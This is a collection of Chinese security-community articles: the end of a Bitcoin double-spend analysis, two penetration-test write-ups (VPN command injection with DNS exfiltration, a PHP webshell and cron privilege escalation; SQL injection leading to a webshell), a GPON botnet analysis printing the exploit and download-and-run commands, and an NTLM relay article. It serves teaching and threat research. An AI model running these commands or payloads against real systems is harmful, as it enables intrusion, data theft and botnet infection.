10（s）。现在，网络哈希率要求（hash/s）可以计算为（2^d/T)。如果假设矿工使用的每个硬件模块都具有最大的计算能力，如果哈希率为20（GH/s），则矿工应按照当前市场价值为每个硬件模块花费约500美元。
这表明矿工在比特币区块链上的总投资成本约为1,960亿美元。为了分别达到0.4、0.3和0.2的q值，攻击者应该分别拥有矿工网络中全部硬件模块的40％，30％和20％。这分别相当于总投资78.7、59.0和393亿美元。如此大的投资成本表明，分析选择的q值足够高以用于实际目的。
上图显示了当攻击者创建下一个区块的成功概率为q = 0.4和0.3，有效交易确认区块的数量为z = 5、10时，不同k值的区块链成功攻击概率。 z =
5和10时，攻击者的成功攻击概率随着k逐渐降低。这表明当攻击者采取策略时，网络就无法通过减慢交易确认的速度来显着降低成功攻击的可能性。相反，当攻击者选择传统的攻击策略时，成功的攻击概率会随着k的增加而迅速降低。上述行为差异表明，分析中考虑的主动攻击策略更加强大。
上图中，绘制了zmin与k的关系图，其中zmin是将成功攻击概率PV（k，z）分别保持在0.05、0.10和0.15以下所需的最小确认块数。首先观察到随着k的增加，直到阈值水平（k
=
40左右），通常需要较少数量的确认块。超过此阈值水平，增加k不会影响zmin；也就是说，减慢网络速度以增加k并不一定意味着网络可以使用较少数量的确认块开始验证交易。在此分析中使用了Brent优化方法.，因此zmin可能不会随k单调减小。
## 0x06 Expected reward for attackers
每个节点将交易发送到矿工池，每个矿工从池中选择一组交易以创建一个新块。在框架中，矿工可以根据其工作量获得奖励，也就是说，矿工证明他们已经通过寻找有效的哈希值花费了一定的时间来解决难题。例如，矿工使用SHA256的哈希函数来计算某个块的哈希值。使用此算法，可能有2^256个哈希值。如果假设一个有效的哈希值具有d个前导零，找到第一个哈希值所需的哈希运算数是几何分布的，期望值为2^d。因此，产生有效块的预期成本Cb由下式给出：
其中Ch是矿工执行的每个哈希运算的成本。假设Rb是每个矿工可以组成区块链的区块奖励。否则它不会获得任何奖励，而只需要支付区块计算成本Cb(d)。因此，攻击者每块Rnet的预期净奖励为:
现在，假设在步骤A和B之间以及步骤B和C之间的主干链中分别有k个和z个块，并且在步骤A和B之间以及步骤B和B之间的恶意链中有m1和m2个块。可以使用（11）的每块净奖励Rnet和（9）的成功攻击概率PV来获得攻击者在挖掘恶意链时预期的奖励为：
其中，第一个和第二个求和项是指挖掘一条比主干链长至少一个区块的恶意链的净回报，即当m1≥k时,m1+m2>k+z和m1＜k（分别为状态1和状态2）。第三和第四个求和项是指挖掘不超过主干链的恶意链的净回报，即m1+m2≤k+z。
上图显示，预期奖励受等待区块数k的影响，该数量与矿工创建新区块的延迟有关。
## 0x07 Conclution
分析表明，提出的自适应策略模型成功攻击的可能性比传统的双花攻击高得多。例如，对于0.01的成功攻击概率，使用常规攻击模型，网络节点需要等待确认块数z至少为52才能验证交易。
相反，在自适应攻击模型中需要z至少为60。因此为了减轻此攻击的影响，需要等待更多的确认块。然而如果诚实节点使用足够大量的确认块来验证交易，则成功的攻击概率可以降到很低。
此外还分析了在挖掘恶意链时对攻击者的预期奖励。结果表明，当使用大量的区块确认来验证交易时，预期的奖励很小。例如，在5个等待块中接收交易的情况下，诚实节点应等待30个确认块，以使攻击者的预期收到的奖励微乎其微。 | 社区文章 |
# 一次平平无奇的渗透测试
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1605077234&ver=2699&signature=CB7-biQA1Yf72bhW55NqEcMxCHXeEgBHBkf6oWR9LnBp-u03TLWimwt1fQqN4Z6zXqrc5CaScQeAC2yY9rFxTz5H3piLvSYdryxmjMO-xdpTVqOTAEo3JTXq-TzOSasw&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1605077234&ver=2699&signature=CB7-biQA1Yf72bhW55NqEcMxCHXeEgBHBkf6oWR9LnBp-u03TLWimwt1fQqN4Z6zXqrc5CaScQeAC2yY9rFxTz5H3piLvSYdryxmjMO-xdpTVqOTAEo3JTXq-TzOSasw&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
接了个项目，给了资产列表，刚开始就只挖了几个小洞，正当自暴自弃、随缘挖洞的时候，点开了一个网站，眼角的余光瞥见被跳转的页面，这惊鸿一瞥，使我顿时来了精神，赶紧
drop 掉跳转页面，一窥真容。
嘿！这不是 xxx VPN 嘛，搁这遇见了，之前都没搞过呢，赶紧试一试旧版的 RCE 漏洞。
嘿嘿！没想到竟然是旧版的，起飞。
## 带外数据
激动地敲下了反弹 shell 的命令，等了许久，竟不见一个 shell 回来，眉头一皱，发现事情并没有那么简单。
换了个服务器，还是没有收到 shell，不死心，试了试监听 53、80、443 端口等回连，还是没有收到 T^T 看来 TCP/HTTP 被阻断了。
罢了罢了，前面不是还有 DNS 出来么，用 DNS 一样，先看看 whoami 的结果：
-h|curl `whoami`.Smuxdz.dnslog.cn
奇怪的事情发生了，执行 whoami 没有结果。
执行 id：
-h|curl `id -un`.Smuxdz.dnslog.cn
nobody 权限，权限很小，先解决命令回显的问题，数据外带太麻烦了。
由于目标环境是存在 php 的，所以打算写个一句话木马，先查看下当前所在的目录：
-h|curl `pwd|od -A n -t x1|sed 's/ //g'`.Smuxdz.dnslog.cn
当前在根目录 / 找不到 Web 路径，webshell 不知道写到哪里，这个先搁置一边，先去尝试写入 dns 马：
import requestsimport binascii
with open('123','rb') as f: data = f.read()size = len(data)
S = 2000
for i in range((size // S) + 1): if (i+1)*S > size: d = data[i*S:] else: d = data[i*S:(i+1)*S] d = binascii.b2a_hex(d) d = d.decode("utf-8", "ignore") cmd = f"echo '{d}' | xxd -r -p >>/tmp/1" r = requests.get("http:///website/path?url=" + cmd)
脚本那么一跑，网站直接 500，震惊！换了几个 ip 试了试，一样的情况还是 500，好像触发了什么防御机制。
溜了溜了，看其他的站去。
第二天，打开网站，恢复正常了，松了口气，又可以愉快地渗透了。
既然这 dns 马写不进去，虽然不知道为啥写不进去，索性不管了，不然等下又给我来个 500 浪费时间，那就老老实实去找 Web 路径吧。
这就又引出另一个问题，域名有字符的限制，且存在长度限制，每一级域名长度最长可为 63 个字节。
字符的限制简单，脑海里第一反应就是 base64 或者 hex，base64 可能会存在其他的字符 + /
=，需要给这三个字符做个标记作为区别，有点麻烦，暂时没有什么很好的想法，想了想，其实可以用 base32，这样就只有 =
一个要标记的字符了，试了试，目标服务器没有 base32，只能放弃。
所以还是用 hex 好了，虽然长了一点。
长度限制呢，当时想到 curl 是可以跟数组的，每个都会进行请求，所以构造个数组就好了。
经过测试发现 urls 以空格或者换行分开也是可以的。
这样就简单了，od 命令可以设置输出每行显示的字节数，缺省为 32 字节。
问题解决，开始寻找 Web 路径，找 Web 路径方法有很多，这里直接搜静态资源文件：
-h|curl $(find / -name common.min.js|od -A n -t x1|sed 's/ //g'|sed -r 's/$/.mp3smh.dnslog.cn/g')
PS: 转成 hex 其实用 xxd -p -c 30 更简单点。
好了，Web 路径有了，开始写 php 一句话木马吧：
echo "<?php @eval($_GET[_]);?>">/sftmpfs/etc/htdocs/com/js/1.php
成功写入，但是访问的时候一直超时，以为有什么检测，改成 phpinfo(); 也不行，改成 echo 1;
首次也不行，再执行了一次后又可以了，后续诸多尝试中就是零星几次可以，其他都是访问超时，吐了。
行吧，退而求其次，将命令执行结果写到文件中，然后访问获取执行结果。
本以为静态资源目录是可写的，但是却发现写不了，没有权限，只能去找找是否存在可写目录：
-h|curl $(find /sftmpfs/etc/htdocs/ -type d -writable |od -A n -t x1|sed 's/ //g'|sed -r 's/$/.mp3smh.dnslog.cn/g')
找到个 swfupload 是可写的，在往这个目录写内容时，发现重定向 > 不管用，不知道又发生了什么，反正也简单，改用 tee 命令即可。
## 提权
现在我们可以直接获取到回显了，但是这个 nobody 权限太低，要先想办法去提权。
先去看看 crontab ，目瞪狗呆.jpg
全是 777 （ 咋感觉有点不对劲啊
这里将 /usr/bin/find 复制到 /tmp 下，并加上 s 权限后，执行后等一分钟左右就可以用 /tmp/find 执行命令了：
-h|echo -e "cp /usr/bin/find /tmp/findnchmod u+s /tmp/find" >> /etc/cron.min/processmonitor.sh
## 探索
提了权，然后就是试试横向渗透。
内网 ip ping 不通，known_hosts 中的 ip 连不上，端口没扫出东西……
不过想到这是个 VPN，那就去添加个 VPN 帐号好了，仿造已有的帐号，插入一条记录，不过这里密码是经过加密的，从同事那拿了一条已知密码加密过后的值：
-h|/tmp/find /sftmpfs/etc/htdocs/com/swfupload/1.txt -exec sqlite3 /sftmpfs/etc/db/sqlite3/sslvpn.sq3 "insert into svpnuser(name,passwd) values ('test', 'xxx');" ;|tee /sftmpfs/etc/htdocs/com/swfupload/1.txt
成功插入，但是又又又碰壁了，用账号密码登录提示错误：账户已被冻结，找了半天不知道哪里出了问题。
换个思路，用新添加账户的手机号进行密码找回，这次提示：账户不存在
再换个思路，把已存在的账户的手机号改成我的进行密码找回操作，还是行不通。
不熟悉这产品，卡在这了，后面因为种种原因没有继续深入研究、渗透。
## 总结
一次普普通通的渗透测试项目，在此做一个记录，总结几点：
1. 渗透测试中往往会遇到奇奇怪怪的环境，要想解决问题还是得看经验的积累，不然将会花费大量时间，甚至可能会因为没有思路而与漏洞擦肩而过。
2. 遇到难点时也需要有耐心，不能浮躁。
3. 还是需要多看多学多练提升技术水平。 | 社区文章 |
**前言**
本次渗透经历较基础，可以说是十分基础，所以各位师傅图个乐就好，有任何问题欢迎指出！
本文两条getshell思路：
1、sqlmap自带的OS-Shell功能直接Getshell
2、利用注入得到管理员账户密码，通过后台图片上传+iis7.5解析漏洞Getsehll
**正文**
某天在挖掘edu漏洞的过程中突然看到这样一个站
看到?id=
于是尝试一下是否存在注入，单引号报错，发现确实存在注入
废话不多说，直接sqlmap跑起来
拿到数据库名
让我们再看看是不是dba权限
惊喜总是在不经意之间出现的，发现的确是dba权限！
那接下来就好办了，直接OS-shell
sqlmap在根目录自动创建了两个文件
访问www.xxxx.com:80/tmpudxrm.php
上传一句话木马，直接getshell
过程很简单，但是当我将这个漏洞上报时，竟然重复了！！
看来已经有人比我捷足先登了，所以只能想想还有没有办法getshell,毕竟有一个sql注入在我们还能做很多事。
于是，我又回头利用sqlmap跑出了管理员账户及密码
这时候我们去找找后台登录点
但是当我在域名后面输入/admin时，发现没有出现管理后台界面而是进一步302跳转至了另一个地址，但却是连接失败。
这里我有点纳闷了，遂问了下朋友，朋友告诉我直接将前面的本机地址127.0.0.1改为目标站点的ip地址即可，于是我们ping一下目标站点，成功得到目标ip地址
替换前面连接失败的站点地址<http://xx.xx.xx.xx:8810/admin/main.php>
成功访问了站点，出现了管理后台,直接将拿到的管理员账户密码登入！
让我们粗略的翻一翻，在学生成绩列表出，发现了大量学生的信息泄露（厚码）
在随意翻了翻其他功能点之后，我们直接单刀直入，找上传点，看看有没有上传点可以利用的。
发现产品管理处，有个修改操作可以上传图片
先F12看看上传之后图片的路径在哪里
有路径了，接下来就是上传了，但是当我使用我能想到的所有姿势之后，还是怎么样都绕不过（PS:主要是我太菜了）
无论用什么姿势，上传之后文件名都会自动变成 上传时间+四位随机数.jpg 例如2020081415021928.jpg
这时候我就自闭了，都到这里了，我怎么能放弃呢！！
于是和朋友进行了深入♂的交流，对目标站点重新做了一次审查
发现原来目标站点的中间件利用的是 IIS7.5！！！IIS7.5有个很著名的解析漏洞！！！
看到这个解析漏洞成功执行之后，我直接掏出了我的图片马进行上传，配合解析漏洞又一次成功Getshell！！！
**小结**
本次渗透过程并不复杂，主要是思路的转变，适合新手学习，还有本次渗透存在一定运气成分，毕竟不是所有的渗透测试都是这么顺利的。
若本文中有任何问题，欢迎各位师傅指出。
谢谢！ | 社区文章 |
作者：知道创宇404实验室
日期：2018/05/10
> 2018/05/07，`ZoomEye Dork`(文末有彩蛋)中`heige`吟诗一首(作者：卞之琳)：
> 断章
> 你在桥上看风景，
> 看风景人在楼上看你。
> 明月装饰了你的窗子，
> 你装饰了别人的梦。
> **殊不知在GPON Home Gateway远程命令执行漏洞被利用的过程中亦是如此。**
## 0x00前言
### 一. 漏洞详情
2018/04/30，`vpnMentor`公布了 `GPON`
路由器的高危漏洞：验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。由于只需要发送一个请求，就可以在
`GPON路由器` 上执行任意命令，所以在上一篇文章[《GPON Home Gateway
远程命令执行漏洞分析》](https://paper.seebug.org/593/)，我们给出了僵尸网络的相关预警。
结合ZoomEye网络空间搜索引擎以及对漏洞原理的详细研究，我们对`GPON Home
Gateway远程命令执行漏洞`被利用情况进行了深入的研究，意外地发现利用该漏洞的僵尸网络是可以被监控的。
短短的四天时间内，这片路由器的战场，竞争、撤退、消亡时时刻刻都在上演，在每一个路由器的背后，每天都有着多个不同的恶意控制者，故事精彩得难以想象。
### 二. 检测原理
漏洞发现者给出的利用脚本如下：
1 #!/bin/bash
2
3 echo “[+] Sending the Command… “
4 # We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices
5 curl -k -d “XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0” $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null
6 echo “[+] Waiting….”
7 sleep 3
8 echo “[+] Retrieving the ouput….”
9 curl -k $1/diag.html?images/ 2>/dev/null | grep ‘diag_result = ‘ | sed -e ‘s/\\n/\n/g’
该脚本逻辑如下：
步骤1(行5)：将注入的命令发送至`/GponForm/diag_Form`并被执行。
步骤2(行9)：利用绕过漏洞访问`diag.html`页面获取命令执行的结果。
**关键点在第二步：**
当我们不使用`grep diag_result`去过滤返回的结果，将会发现 **部分**
路由器会将`diag_host`也一并返回。而参数`diag_host`就是步骤1中注入的命令。
这就意味着，通过ZoomEye网络空间搜索引擎，我们可以监控互联网上相关路由器的`diag.html`页面，从而了解僵尸网络的活动情况。
## 0x01 被利用情况
ZoomEye网络空间搜索引擎在`2018/05/05`、`2018/05/07`、`2018/05/08`进行了三次探测，一共发现了与僵尸网络相关的命令
`12`处。
### 一. 被利用情况总览
### 二. 详细介绍
#### 1\. Mirai变种僵尸网络 `THANOS`
> 这是一个在我们研究前撤退、研究时重新归来的僵尸网络
> 使用的感染命令如下：
> 编号1 `busybox wget http://104.243.44.250/mips -O /tmp/m`
> 编号10 `busybox wget http://82.202.166.101/mips -O -`
##### 1.1 104.243.44.250 样本
在我们发现相关攻击痕迹时，样本已无法下载。看起来就像始作俑者已经撤退。
但是我们仍然从路由器上运行的样本中了解到该僵尸网络的行为：
* 当前进程
* 网络连接情况
* CNC
`82.202.166.101:45`,`2018/05/05`未连接成功（`2018/05/09`发现该`CNC`重新打开）
由于该恶意样本拥有生成随机进程名、对外爆破23端口等特征，故可能是Mirai僵尸网络或其变种。
##### 1.2 82.202.166.101 样本
# sha256sum 82.202.166.101/mips
94717b25e400e142ce14305bf707dfcfe8327986fa187a2c5b32b028898a39ec 82.202.166.101/mips
2018/05/07，我们发现了少量该样本的感染痕迹，通过进一步研究，我们认为该僵尸网络已经回归。 由于该样本直接在 `1.1 中的 CNC`
主机上传播，运行时依旧会生成随机进程名，对外爆破23端口，故我们将两者归为同一僵尸网络家族。
* 新的CNC
`185.232.65.169:8080`
新的 `CNC` 上线包如下
根据这个上线包，我们将该僵尸网络称为 `Mirai变种僵尸网络 THANOS`
#### 2\. `Q bot`僵尸网络变种
> 这是一个持续存在的僵尸网络，在我们三次探测中均有出现。预计感染了大量设备。
> 使用的感染命令如下：
> 编号2 `busybox wget http://185.244.25.162/mips -O /tmp/.m`
> 编号7 `busybox wget http://58.215.144.205/mips -O /tmp/.q`
> 编号12 `busybox wget http://58.215.144.205/mips -O /tmp/adj`
##### 2.1 185.244.25.162 样本
# sha256sum 185.244.25.162/mips
73473c37e5590bd3eb043e33e2f8832989b88f99449582399522c63d4d46251e 185.244.25.162/mips
# file 185.244.25.162/mips
185.244.25.162/mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
该恶意样本属于 MIPS 架构，使用 UPX
加壳。在脱壳对其进行逆向的过程中，我们意外发现了与该样本相关的源码：[https://darknetleaks.xyz/archive/botnetfiles/Qbot%20Sources/Hacker%20serverside&clientside/client.c](https://darknetleaks.xyz/archive/botnetfiles/Qbot%20Sources/Hacker%20serverside&clientside/client.c)
但该样本和源码依然有很多地方不同：
* 对外扫描的IP段不同，样本中对外扫描的IP段如下：
该样本在对外扫描时，只会扫描表格中的这些IP
* kill别的bot的列表
该样本会检测路由器中已有的进程，如果遇到下列可能属于其它僵尸网络的进程，将会进行 `kill` 操作(匹配的关键词远比源码中的丰富)
该样本的 `CNC` 为： `185.33.145.92:252`,该 `CNC` 依旧处于活跃状态
**需要注意的是**
* 该样本内置了 `DDoS` 攻击模块，可以根据 `CNC` 指令发动 `TCP`、`UDP`、`HTTP`洪水攻击
* 该样本内置了 `netcore backdoor`利用模块，并且可以通过`CNC`开启对外扫描（默认关闭，相关漏洞详情可以参考链接：<http://blog.knownsec.com/2015/01/a-brief-analysis-of-netcore-netis-leak-emergency/>）
利用脚本如下：
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.33.145.92/miggs.sh; chmod 777 miggs.sh; sh miggs.sh; tftp 185.33.145.92 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.33.145.92; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.33.145.92 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf miggs.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; history -c
##### 2.2 58.215.144.205 样本（2018/05/07 版本）
# sha256sum 58.215.144.205/mips
41111f0941b323c13ca84caf1e552dc78caac713f4dc1a03fc322c1febcbd6ba 58.215.144.205/mips
该样本的感染逻辑没有太大变化， `CNC` 与上文相同，为： `185.33.145.92:252`，所以我们认为这与上文同属于 `Q
bot`僵尸网络家族的变种。
##### 2.3 58.215.144.205 样本（2018/05/08 版本）
# sha256sum 0508/58.215.144.205/mips
9590cc3c1e7a32f6221528b526212b2ad87b793b885639580c276243ec60830b 0508/58.215.144.205/mips
`2018/05/08`，`58.215.144.205/mips`更新了相关的样本。通过逆向的结果看，新的样本与之前的逻辑完全不同，恶意控制者更换了控制的程序。
新的样本看起来更像是 `Mirai` 僵尸网络的新变种，具体的感染细节我们仍在持续跟进中。
该样本的CNC为 `linuxusaarm.com:443`
#### 3\. `Muhstik` 僵尸网络
> 2018/04/20，360netlab曝光了一个长期存在的僵尸网络：`Muhstik僵尸网络`。在本次漏洞事件中，我们也发现了大量
> `Muhstik`僵尸网络的身影。
> 该僵尸网络使用的感染命令如下：
> 编号3 `wget -qO - http://162.243.211.204/gpon|sh`
> 编号4 `wget -qO - http://162.243.211.204/aio|sh`
> 编号5 `wget -O /tmp/par http://162.243.211.204/mrt; chmod x /tmp/ping`
> 编号8 `wget -qO - http://54.39.23.28/1sh | sh`
> 编号9 `wget -qO - http://104.54.236.173/gpon | sh`
由于该僵尸网络样本众多，多条命令有多次重复感染。故我们通过下图展示各样本和各IP的联系：
图中红点代表各IP，灰点代表感染的bash脚本，黄点代表各恶意样本，蓝点代表出现的链接，红线代表从bash脚本中下载的样本
* 各感染脚本如下：
# cat 104.54.236.173/gpon
wget -O /tmp/cron http://162.243.211.204/cron; chmod +x /tmp/cron; chmod 700 /tmp/cron; /tmp/cron &
wget -O /tmp/nsshpftp http://162.243.211.204/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp &
# cat 162.243.211.204/gpon
wget -O /tmp/nsshcron http://162.243.211.204/nsshcron; chmod +x /tmp/nsshcron; chmod 700 /tmp/nsshcron; /tmp/nsshcron&
wget -O /tmp/nsshpftp http://162.243.211.204/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp &
# cat 162.243.211.204/gpon
wget -O /tmp/nsshcron http://162.243.211.204/nsshcron; chmod +x /tmp/nsshcron; chmod 700 /tmp/nsshcron; /tmp/nsshcron&
wget -O /tmp/nsshpftp http://162.243.211.204/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp &root@vultr:~/gpon# cat 54.39.23.28/1sh
wget -O /tmp/cron http://51.254.221.129/c/cron; chmod +x /tmp/cron; chmod 700 /tmp/cron; /tmp/cron &
wget -O /tmp/tfti http://51.254.221.129/c/tfti; chmod +x /tmp/tfti; chmod 700 /tmp/tfti; /tmp/tfti &
wget -O /tmp/pftp http://51.254.221.129/c/pftp; chmod +x /tmp/pftp; chmod 700 /tmp/pftp; /tmp/pftp &
wget -O /tmp/ntpd http://51.254.221.129/c/ntpd; chmod +x /tmp/ntpd; chmod 700 /tmp/ntpd; /tmp/ntpd &
wget -O /tmp/sshd http://51.254.221.129/c/sshd; chmod +x /tmp/sshd; chmod 700 /tmp/sshd; /tmp/sshd &
wget -O /tmp/bash http://51.254.221.129/c/bash; chmod +x /tmp/bash; chmod 700 /tmp/bash; /tmp/bash &
wget -O /tmp/pty http://51.254.221.129/c/pty; chmod +x /tmp/pty; chmod 700 /tmp/pty; /tmp/pty &
wget -O /tmp/shy http://51.254.221.129/c/shy; chmod +x /tmp/shy; chmod 700 /tmp/shy; /tmp/shy &
wget -O /tmp/nsshtfti http://51.254.221.129/c/nsshtfti; chmod +x /tmp/nsshtfti; chmod 700 /tmp/nsshtfti; /tmp/nsshtfti &
wget -O /tmp/nsshcron http://51.254.221.129/c/nsshcron; chmod +x /tmp/nsshcron; chmod 700 /tmp/nsshcron; /tmp/nsshcron &
wget -O /tmp/nsshpftp http://51.254.221.129/c/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp &
fetch -o /sbin/kmpathd http://51.254.221.129/c/fbsd; chmod +x /sbin/kmpathd; /sbin/kmpathd &
* 各样本`sha256`值如下:
5f2b198701ce619c6af308bcf3cdb2ef36ad2a5a01b9d9b757de1b066070dad7 51.254.221.129/c/bash
f12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f 51.254.221.129/c/cron
54b951302c8da4f9de837a0309cce034a746345d2f96a821c7fc95aa93752d43 51.254.221.129/c/fbsd
2cfa79ce4059bbc5798f6856cf82af7fce1d161d6ef398c07f01a010ba5299ea 51.254.221.129/c/nsshcron
3ca8c549357d6121b96256715709bccf16a249dcc45bad482f6c8123fc75642f 51.254.221.129/c/nsshpftp
d4fba221b1a706dd3c617e33077d1072b37b2702c3235d342d94abfd032ba5f8 51.254.221.129/c/nsshtfti
e2267edd2b70b5f42a2da942fa47cca98e745f2f2ff8f3bbf7baf8b1331c1a89 51.254.221.129/c/ntpd
cfc82255b7e75da9cd01cffdfd671ccf6fafaa3f705041d383149c1191d8bdff 51.254.221.129/c/pftp
5e8398c89631ea8d9e776ec9bdd6348cb32a77b300ab8b4ead1860a6a1e50be7 51.254.221.129/c/pty
948ef8732346e136320813aade0737540ef498945c1ea14f26a2677e4d64fdee 51.254.221.129/c/shy
5477129edd21ce219e2a8ecf4c0930532c73417702215f5813c437f66c8b0299 51.254.221.129/c/sshd
c937caa3b2e6cbf2cc67d02639751c320c8832047ff3b7ad5783e0fd9c2d7bae 51.254.221.129/c/tfti
3138079caea0baa50978345b58b8d4b05db461b808710146d4e0abb5461c97df 162.243.211.204/aiomips
f12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f 162.243.211.204/cron
5b71ba608e417fb966ff192578d705a05eab4ff825541d9394c97271196cfd69 162.243.211.204/mrt
* CNC
`192.99.71.250:9090`
#### 4\. 未知样本1
> 该样本使用的感染命令如下：
> 编号6 `curl -fsSL http://ztccds.freesfocss.com/test.txt | sh`
# sha256sum ztccds.freesfocss.com/zt_arm
24602f1c6d354e3a37d4a2e2dd9cef0098f390e1297c096997cc20da4795f2a2 ztccds.freesfocss.com/zt_arm
该样本会连接 `ztccds.freesfocss.com:23364`,样本具体功能仍在研究中。
#### 5\. 未知样本2
> 该样本使用的感染命令如下：
> 编号11 `busybox wget http://185.246.152.173/omni -O /tmp/talk`
> 该样本运行的命令为 `/tmp/talk gpon`
# sha256sum 185.246.152.173/omni
18c23bd57c8247db1de2413ce3ff9e61c5504c43cbadaaefce2fb59f4b3c10a0 185.246.152.173/omni
该样本会连接`185.246.152.173:1000`,但该端口已经关闭(2018/05/09)。
## 0x02 受影响主机范围
> 注：由于仅探测了`diag.html`页面，故在多轮探测中我们只能确定哪些主机被攻击，无法判断攻击者是否攻击成功
### 一. 探测到的主机均集中在墨西哥
在对探测到的主机进行地域划分时，三轮探测中被攻击的IP都位于墨西哥。
对受影响最多的五个国家进行抽样测试，结果如下：
该漏洞存在与墨西哥和哈萨克斯坦，但是由于固件不同，只有墨西哥的路由器会返回`diag_host`，所以我们仅监测到墨西哥的路由器受影响情况。
由于墨西哥的设备占据了全球设备的一半以上，我们认为相关数据依旧可以反应僵尸网络的实际情况。
### 二. 受攻击的路由器执行的命令情况
> 由于`2018/05/05`第一轮探测中只统计了存在`/tmp`字段的`diag_host`的内容，所以第一轮探测的数据具有一定的局限性。
可以很明显看出：
1. 确认被攻击的路由器数量在不断增加
2. 各僵尸网络活动频繁，`2018/05/07` `Muhstik` 僵尸网络发动大量攻击，而`2018/05/08`就变成了 `Q bot`僵尸网络变种。僵尸网络之间的竞争可见一斑。
## 0x03 结语
近年来，僵尸网络逐渐盯上攻击简单但危害巨大的物联网漏洞。从去年的`GoAhead`到今年的`GPON`事件，无不在提醒我们物联网安全的重要性。能结合`ZoomEye网络空间搜索引擎`了解到`GPON`事件背后活跃的僵尸网络动态，对我们来说就是一种收获。
## 附录
关于`ZoomEye Dork`，欢迎加入小密圈（免费）：
* * * | 社区文章 |
# 滥用Exchange：距离获取域管权限只差一个API调用
原文：<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>
## 0x00 概要
在使用Active
Directory和Exchange的大多数组织中，Exchange服务器的权限非常高，如果掌握Exchange服务器上的管理员权限，就足以升级到域管理员。最近我阅读了ZDI的一篇博客，其中详细介绍了攻击者如何利用基于HTTP的NTLM机制，让Exchange通过攻击者的身份验证。这种攻击方法可以与NTLM中继攻击（NTLM
relay）相结合，从具有邮箱的任何用户升级到域管理员，我见过的使用Exchange的组织中有九成以上都受此攻击方法影响。在默认配置下，攻击者就可以发起这种攻击，并且公布攻击方法时官方并没有提供可用的补丁，用户可以采取一些缓解措施来防止攻击者利用这种权限提升方法。本文详细介绍了这种攻击过程，分析了更多技术细节，介绍了缓解措施，也为公布了可用于这种攻击方法的一个[PoC工具](https://github.com/dirkjanm/privexchange/)：PrivExchange。
## 0x01 组合利用已知漏洞的新方法
本文综合了几个已知的漏洞和已知的协议脆弱性，将其组合成一种新的攻击方法。这种攻击方法中包含如下3个组件，可以结合起来，使攻击者从具备邮箱的任意用户提升至域管访问权限：
* 默认情况下具备（过）高权限的Exchange服务器
* 容易被中继攻击影响的NTLM认证协议
* Exchange启用了某个功能，使攻击者可以使用Exchange服务器的计算机账户通过身份认证。
## 0x02 Exchange及高权限
这里主要的漏洞在于Exchange在活动目录（AD）域中具备较高权限。“Exchange Windows
Permissions”对AD中的域对象具备`WriteDacl`访问权限，这样该组内的所有成员都具备域权限修改能力，其中就包括执行DCSync操作的权限。具备该权限的用户或者计算机可以执行同步操作，而通常情况下只有域控才会在域同步过程中执行该操作。这样一来，攻击者就可以同步AD中所有用户的密码哈希值。之前已经有一些研究人员介绍过这方面内容（见文末的参考资料），去年我也与Fox-IT的同事Rindert一起发表过这方面[文章](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)，在那篇文章中，我还公布了新版的[ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py)，可以在NTLM
relay攻击时执行基于ACL（访问控制列表）的攻击操作。
## 0x03 针对主机账户的NTLM中继攻击
NTLM中继攻击技术已经有些历史了。之前这种攻击技术的重点主要是通过SMB中继NTLM认证数据，以便获取其他主机的代码执行权限。虽然许多企业网络中并没有启用SMB签名机制，使这种攻击技术仍有用武之地，但其他协议其实可能受中继攻击影响。在我看来，最有趣的协议是LDAP，这种协议可以用来读取并修改（活动）目录中的对象。如果大家想复习关于NTLM中继攻击方面的知识，可以先阅读我之前写过的一篇[文章](https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/)。简而言之，除非部署了缓解措施，否则攻击者还是可以作为中间节点，将发往攻击者主机的身份认证数据传递给网络中的其他主机， 如下图所示：
当认证数据被中继至LDAP时，目录中的对象可以被修改，赋予攻击者相应权限，其中就包括执行DCSync操作所需的权限。因此，如果我们能够让Exchange服务器使用NTLM协议向我们发起身份认证，我们就能执行ACL攻击操作。需要注意的是，只有当受害者使用HTTP（而非SMB）协议向我们发起认证时，我们才能将认证数据中继至LDAP（参考下文的“技术分析”部分）。
## 0x04 诱导Exchange发起认证
目前我们缺少的是诱导Exchange向我们发起身份认证的一种简单办法。ZDI某位研究人员（他们发表的文章中并没有提到这个人的名字）发现，攻击者可以利用Exchange的`PushSubscription`功能，使Exchange通过HTTP向任意URL发起身份认证。在ZDI发表的[文章](https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange)中，他们使用这个漏洞将NTLM认证数据重新传回Exchange服务器（也就是所谓的反射攻击），用来仿冒其他用户。如果我们将这种技术应用在默认处于高权限的Exchange服务器上，然后执行中继攻击（而不是反射攻击），那么我们就可以使用这些权限来获取DCSync权限。即便没有发生任何事件，我们也可以使用这种推送通知服务，每隔X分钟就发送一次消息，这里X的数值由攻击者指定。这样即使收件箱没有任何动作，我们也能确保Exchange向我们发起连接。
## 0x05 执行权限提升攻击
